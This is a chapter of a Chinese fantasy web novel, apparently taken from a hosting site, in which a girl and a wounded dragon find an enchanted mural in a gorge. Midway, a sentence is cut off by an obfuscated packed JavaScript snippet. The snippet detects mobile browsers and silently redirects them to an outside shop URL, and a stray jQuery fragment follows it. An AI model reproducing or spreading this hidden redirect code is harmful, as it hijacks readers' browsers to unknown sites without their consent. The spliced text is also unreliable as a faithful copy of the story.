文趣网 > 其他小说 > 我在深渊捡到龙 > 3. 壁画
    影像消失了,那道神秘的声音还烙印在奚荇脑海里。

    见鬼见鬼见鬼。

    那是谁,为什么知道她的名字??

    天枢课上用过类似的东西教学,渊力一激发就能放投影。可投影里的人从来不会转头看她,更不会点她的名。

    奚荇扫视四周。群山鸟兽寂寂,溪谷里哪有半点人烟。鳞蹲在两步外,金瞳盯着草丛,那块石片刚才被她丢在了那里。

    冷静。

    奚荇长呼出一口气,用力搓了搓脸。

    她看向草丛,石片沾了泥,光已经灭了,断面有一道凹槽,像是从更大的东西上剥落的。

    这石片里的人知道她的名字,再见鬼也得拿上。

    她从包肉干的蕨叶里抽出一片叶子,用匕首把石片拨上去。

    等了一会儿,没有什么声音,也没有出现新的画面。

    她隔着叶片将石片包好,收进腰包。

    河流从西南流下,如果石片是水冲下来的,上游也许还有别的东西。

    她想起信标边缘那点白粉,又低头看看溪底,颜色相近的碎石零星散在河泥里。

    “先沿着水找找。”

    她用藤条挎好蕨叶肉包,溯溪向西南走去,鳞站起来,隔着两步跟上她。

    第一个水潭底部沉积着几粒沙白色碎石,被水冲得浑圆。

    再过一道溪湾,碎石渐渐多了,嵌在青黑的河泥里。

    奚荇用树枝拨开淤泥,底层石头覆着水垢,上层的却很干净,有几块还留着笔直的断面。

    她挑起一块洗净,藉着月光摩挲石面的浅槽,指腹摸得到细微的棱角。用黑光去碰,什么也没发生。

    至少不是每块石头都会喊她名字。

    她松了口气,继续往前。

    河道越来越窄,两侧槲穹木的根拱出岩缝,光苔把水面照得幽蓝。再往前,河道逐渐挤进两面岩壁之间,峡口狭隘,人要俯身才能进去。

    奚荇停住了。

    向里张望,里面散落着星星点点的光苔,大约能看见一线水光,看不清峡洞的深浅。

    屏息侧耳,水声下似乎藏着絮絮声,像有人躲在里边说悄悄话,含混得听不出在说什么。

    奚荇捡起石子丢进洞里,石子撞上岩壁,弹入水中,短促的声响回荡开,那道声音随着水波晃了晃。她往前探了探身,裤脚忽然一紧。

    鳞一口咬住她裤脚,四爪撑地往后扯,连折伤的翅膀都绷得紧紧的。

    她立即退开半步:“里面有危险?”

    鳞松了些力,仍没松口。

    这条龙认得水源,会和她围猎,现在为什么拦着她?奚荇看着那双金瞳,很想问个明白。

    “你认识这里?”

    鳞喉咙里滚出一声低音,尾巴用力拍了拍地。

    我们语言不通啊龙老师!

    奚荇看了鳞一会儿,又看向来路。她的信标坏了,密林里又没有天枢教官,面前可能就是线索,她总不能一直干等救援。

    “先松开,裤子再扯就没了。”奚荇用刀鞘轻轻抵开龙吻。

    鳞刚松口,她便侧身钻入峡口。

    细龙想扑上来咬住她的衣摆,却硬生生刹在峡口阴影前。它焦躁得踱步,细鳞微微掀起,金瞳一瞬不瞬地望着她。

    奚荇硬是从兽瞳里看出了一点谴责的意味。

    她摸摸鼻子:“我得看看里面有没有人留下的东西,就看一眼。你在外面等我,有动静就跑。”

    峡口里面比外面看着还窄,奚荇用火折子做了个简易火把,一手举着,一手握紧匕首,才继续往里进。

    肩膀擦着湿冷的岩壁,溪水从脚边流过,她只能踩着石脊往前挪。

    那阵絮絮声更清楚了,像人在隔墙细语。奚荇循声向前,将火把搁在岩缝,腾出手摸了摸石面。

    苔藓下面有起伏的刻纹。

    奚荇用匕首撬掉一层苔泥,沙白色石面逐渐露出,神秘的刻纹一点点浮现。

    第一幅是一片起伏的沙丘纹路,沙纹圈圈环绕住中央水源,水源旁边挤着几个小小的线条人。

    往旁边清理,第二幅是沿水而建的屋舍,白色线条从水源旁延伸出去,像是水渠。

    她动作慢下来。石片里的城市建在沙海,这里画的也是沙海,但她一路走来分明满眼都是树,连这石壁上都有些根须,哪来的沙?

    第三幅遮得最严实,奚荇挑开根须,刮落苔泥,露出一座圆形石台。

    石台底座刻着卷曲的云纹,云纹汇向台心。台上盘着一只有翼小兽,额有幼角,背生双翼,尾巴盘成半圈,瞳如流金,灼灼地盯着不速之客。

    火光映照下,绚丽的色彩恍若流动起来。

    奚荇回头。

    鳞还停在峡口,微弱的月光照出细长的龙身,折翼垂在身侧,一双黄金瞳紧紧盯着她。

    她再看回壁画,凑近去看,看到许多绿色细线从石台边缘延伸出去,连接屋舍、水渠,直至壁画上的天空和沙海。

    火把轻轻噼了一声,一粒火星嘣到壁画上。

    石台亮了。

    苔绿色的光迅速淌过所有绿线,沙纹像潮水一样涌来。

    奚荇立刻返身回撤。

    但太迟了。视野被扑来的沙色填满,她整个人像被拽进了画里。

    流水声忽然远去,峡洞的湿冷被热风取代。

    奚荇眼前一白,她眯起眼,看见无边沙海。

    脚下是沙白色方砖,凹槽流着细光。远处城市屹立,烈日下白得刺眼。

    再一眨眼,奚荇已经记不清自己为什么呆站在这里。

    沙海的风似乎吹了很多天,她流浪多日,只为寻找这座绿洲里的白城。如今终于到了,连日的饥渴、疲惫一扫而空。她抬手遮挡烈日,忍不住朝白城走去。

    一股潮湿的苔藓味钻进鼻腔。

    奚荇停了停,不明所以地举起手。掌心全是细沙,掌纹干燥,像在沙地里走了很久。

    她翻手抖落沙子,本该随风轻移的细沙,却直直落到脚边石砖上,啪嗒一声,除了沙粒,石砖上还多了一点水痕。

    水痕洇开,她蹲下去摸,沙粒看着滚烫,指腹摸到的却是湿滑的凹槽。

    奚荇拧起眉,用力按了一下。

    一点黑光从指尖漫出,洇入白砖。远处城墙像水中倒影,扭了一瞬。

    她似乎想起了什么,但沙海很快稳定下来。城门就在前方,她挠挠头,不明白自己还蹲着做什么。

    一声龙吟长啸,隔着水膜闷闷地从身后传来。

    鳞?

    奚荇猛地转身,眼前沙海依旧无边无际,但她忽然听见溪水声,很轻,在脚下。

    她闭上眼,逼自己忘掉白城。侧耳去听,水流从身后流来,在右前方落入低处,撞上岩石,发出水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938905|213818||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    击声。

    出口在水流向的地方。

    奚荇试探着往水声流去的方向走了几步,潮湿的水味更重了。

    她睁开眼,又走了几步,脚下白砖亮起,光纹一圈圈扩散,白城不知什么时候出现在身后,传出无数细碎的低语。

    门后有人叫她。

    奚荇。奚荇。

    看见你了。

    她脚步一转,裤腿猛地收紧,整个人踉跄着向后倒。

    沙海碎开。

    溪水声、苔藓味、潮湿的泥土霉味一齐扑来。奚荇跌坐在石脊上,发现自己离那面壁画不过一步。

    鳞咬着她的裤腿,半段身体别扭地压在水里,完好的那扇翅膀支棱着,有些发颤。

    另一扇翅膀正被她坐着。

    奚荇赶紧撑起身:“不好意思不好意思。”

    鳞松开口,尾巴重重拍了一下水面。

    水花溅了她满脸,她抹了把脸,没有吱声。

    重新看向壁画,石台已经暗了,台中央的金瞳小兽合着眼,安安静静地盘在云纹里。

    她记得刚才明明是睁着的。

    “你又救了我。”奚荇低头对鳞说:“谢谢你,我们现在出去。”

    鳞睁大金瞳看她,沉默了一会儿,凑过来,龙吻碰碰她的腰包。

    包缝里透着蓝光,在黑暗的峡洞中尤为明显。

    她取出信标片,薄片发烫,显示的渊力余量却变成了11%,目标区域依旧是那串她努力背过的编码,当前位置显示异常,距离也还在定位中。

    但蓝色箭头不乱转了,直直指向峡洞深处。

    奚荇转动手腕,箭头始终朝着同一个方向,正是溪水流来的地方。

    鳞已经松开她的裤脚,低头嗅着水,沿石脊向里挪了两步,又回头看她。

    “这边能走?”

    它尾巴尖朝前一点。

    奚荇取下火把,握紧匕首,跟着它向前。

    前方没多远就被泥石和树根堵住,根缝底下漏出一线水。

    她切断几节树根,正想往旁边清理,泥里忽然响了一声,奚荇立即退开。

    松动的碎石带着湿泥滑下来,轰!地一声砸进浅溪,露出半圈低矮拱口。拱口两侧各有一道竖直门槽,里面卡着断裂的石栅,溪水穿过栅缝,带出沙白色碎屑。

    鳞靠过去,用尾巴点了点石栅旁的缺口。

    奚荇蹲下来,把火把插上去,借火光看清门槽的边缘。石料被水磨得圆润,槽却笔直,显然是人工凿的,像是城市的排水渠。

    再看信标,箭头正指着拱口里面。

    峡口忽然传来窸窣声。

    奚荇回头,峡口处,一截青黑色藤蔓探过光苔,藤节收缩,细密叶齿在火光下张开。

    泥石还在零星滑落,震动沿着水和岩壁传出去,外面的枝叶接连摇晃,更多藤蔓挤进峡口。

    鳞压低身体,挡在她身侧,细鳞微微掀起。

    奚荇看了看它的伤翼,又看向石拱口,黑魆魆的石拱口里透着潮湿的冷气。

    再往峡口看,扭曲的黑影已经把月光都挡住!

    她把信标塞回护腕,刚拿起简易火把,一根藤蔓便抽上身后的石壁。

    奚荇和鳞对视一眼。

    “走。”

    她把蕨叶肉包挪到身后,俯身钻进排水口,鳞倒退着跟进来,金瞳始终盯着逼近的黑影。